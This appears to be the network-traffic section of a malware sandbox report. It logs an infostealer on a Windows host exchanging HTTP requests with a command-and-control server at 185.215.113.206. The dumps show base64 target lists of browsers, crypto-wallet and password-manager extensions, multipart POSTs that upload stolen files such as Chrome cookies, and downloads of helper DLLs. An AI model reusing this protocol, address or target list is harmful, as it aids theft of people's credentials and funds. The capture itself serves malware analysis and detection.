Nov 29, 2024 19:49:08.793694973 CET	124	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdT
Nov 29, 2024 19:49:08.989485025 CET	896	IN	Data Raw: 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 78 44 61 47 56 6b 62 33 51 67 51 6e 4a 76 64 33 4e 6c 63 6e 78 63 51 32 68 6c 5a 47 39 30 58 46 Data Ascii: dGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnRcRWRnZVxBcHB
Nov 29, 2024 19:49:08.990912914 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJKJEHJJDAKECBFCGID Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 4a 45 48 4a 4a 44 41 4b 45 43 42 46 43 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 66 62 32 63 34 62 36 38 36 66 33 31 61 35 38 64 31 31 63 33 32 37 38 62 34 37 65 64 36 36 64 31 32 63 33 64 34 39 38 66 32 31 62 32 64 37 61 61 39 61 62 39 66 38 66 64 61 61 30 66 37 35 37 31 61 34 34 61 30 63 31 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 4a 45 48 4a 4a 44 41 4b 45 43 42 46 43 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 4a 45 48 4a 4a 44 41 4b 45 43 42 46 43 47 49 44 2d 2d 0d 0a Data Ascii: ------BKJKJEHJJDAKECBFCGIDContent-Disposition: form-data; name="token"4fb2c4b686f31a58d11c3278b47ed66d12c3d498f21b2d7aa9ab9f8fdaa0f7571a44a0c1------BKJKJEHJJDAKECBFCGIDContent-Disposition: form-data; name="message"plugins------BKJKJEHJJDAKECBFCGID--
Nov 29, 2024 19:49:09.436247110 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 29, 2024 19:49:09.436274052 CET	124	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1k
Nov 29, 2024 19:49:09.437176943 CET	1236	IN	Data Raw: 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 77 78 66 44 42 38 4d 48 78 54 62 32 Data Ascii: cG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2F
Nov 29, 2024 19:49:09.437247038 CET	1236	IN	Data Raw: 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 Data Ascii: U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWN
Nov 29, 2024 19:49:09.437259912 CET	248	IN	Data Raw: 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d Data Ascii: cGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFR
Nov 29, 2024 19:49:09.438035965 CET	1236	IN	Data Raw: 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d 46 6e 5a 32 68 75 62 6d 4e 71 61 32 68 6e 5a 32 52 6f 59 57 78 74 59 32 35 6d 61 32 78 72 66 44 46 38 4d 48 77 77 66 45 46 31 64 47 Data Ascii: ciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHB
Nov 29, 2024 19:49:09.438080072 CET	224	IN	Data Raw: 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 42 38 55 6d 6c 7a 5a 53 41 74 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 Data Ascii: aGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNj
Nov 29, 2024 19:49:09.443150043 CET	1236	IN	Data Raw: 59 57 39 70 59 32 39 6c 61 6d 39 75 61 57 46 74 62 57 35 68 62 47 74 6d 59 58 77 78 66 44 42 38 4d 48 78 46 59 33 52 76 49 46 64 68 62 47 78 6c 64 48 78 69 5a 32 70 76 5a 33 42 76 61 57 52 6c 61 6d 52 6c 62 57 64 76 62 32 4e 6f 63 47 35 72 62 57 Data Ascii: YW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXw
Nov 29, 2024 19:49:09.443294048 CET	24	IN	Data Raw: 61 79 42 58 59 57 78 73 5a 58 52 38 59 57 5a 73 61 32 31 6d 61 47 56 69 Data Ascii: ayBXYWxsZXR8YWZsa21maGVi
Nov 29, 2024 19:49:09.629679918 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEHJEBKFCAKKFIEHDBF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 66 62 32 63 34 62 36 38 36 66 33 31 61 35 38 64 31 31 63 33 32 37 38 62 34 37 65 64 36 36 64 31 32 63 33 64 34 39 38 66 32 31 62 32 64 37 61 61 39 61 62 39 66 38 66 64 61 61 30 66 37 35 37 31 61 34 34 61 30 63 31 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 2d 2d 0d 0a Data Ascii: ------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="token"4fb2c4b686f31a58d11c3278b47ed66d12c3d498f21b2d7aa9ab9f8fdaa0f7571a44a0c1------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="message"fplugins------CAEHJEBKFCAKKFIEHDBF--
Nov 29, 2024 19:49:10.075726032 CET	335	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 29, 2024 19:49:10.092187881 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIJJKKFHIEHJKECGCGC Host: 185.215.113.206 Content-Length: 6323 Connection: Keep-Alive Cache-Control: no-cache
Nov 29, 2024 19:49:11.177130938 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 29, 2024 19:49:11.833462000 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 29, 2024 19:49:12.276844025 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:12 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49726	185.215.113.206	80	2172	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:49:21.888344049 CET	621	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKKFBAEGDHJJJJKFBKF Host: 185.215.113.206 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 66 62 32 63 34 62 36 38 36 66 33 31 61 35 38 64 31 31 63 33 32 37 38 62 34 37 65 64 36 36 64 31 32 63 33 64 34 39 38 66 32 31 62 32 64 37 61 61 39 61 62 39 66 38 66 64 61 61 30 66 37 35 37 31 61 34 34 61 30 63 31 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------FBKKFBAEGDHJJJJKFBKFContent-Disposition: form-data; name="token"4fb2c4b686f31a58d11c3278b47ed66d12c3d498f21b2d7aa9ab9f8fdaa0f7571a44a0c1------FBKKFBAEGDHJJJJKFBKFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------FBKKFBAEGDHJJJJKFBKFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FBKKFBAEGDHJJJJKFBKF--
Nov 29, 2024 19:49:23.741023064 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 29, 2024 19:49:23.851063013 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCBAEHCAEGDHJKFHJKFI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 66 62 32 63 34 62 36 38 36 66 33 31 61 35 38 64 31 31 63 33 32 37 38 62 34 37 65 64 36 36 64 31 32 63 33 64 34 39 38 66 32 31 62 32 64 37 61 61 39 61 62 39 66 38 66 64 61 61 30 66 37 35 37 31 61 34 34 61 30 63 31 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="token"4fb2c4b686f31a58d11c3278b47ed66d12c3d498f21b2d7aa9ab9f8fdaa0f7571a44a0c1------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="file"------FCBAEHCAEGDHJKFHJKFI--
Nov 29, 2024 19:49:24.787552118 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49772	185.215.113.206	80	2172	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:49:36.614392996 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFCAAEBGCAKKFIDBKJJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 66 62 32 63 34 62 36 38 36 66 33 31 61 35 38 64 31 31 63 33 32 37 38 62 34 37 65 64 36 36 64 31 32 63 33 64 34 39 38 66 32 31 62 32 64 37 61 61 39 61 62 39 66 38 66 64 61 61 30 66 37 35 37 31 61 34 34 61 30 63 31 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HCFCAAEBGCAKKFIDBKJJContent-Disposition: form-data; name="token"4fb2c4b686f31a58d11c3278b47ed66d12c3d498f21b2d7aa9ab9f8fdaa0f7571a44a0c1------HCFCAAEBGCAKKFIDBKJJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HCFCAAEBGCAKKFIDBKJJContent-Disposition: form-data; name="file"------HCFCAAEBGCAKKFIDBKJJ--
Nov 29, 2024 19:49:38.509291887 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 29, 2024 19:49:39.302239895 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 29, 2024 19:49:39.758457899 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
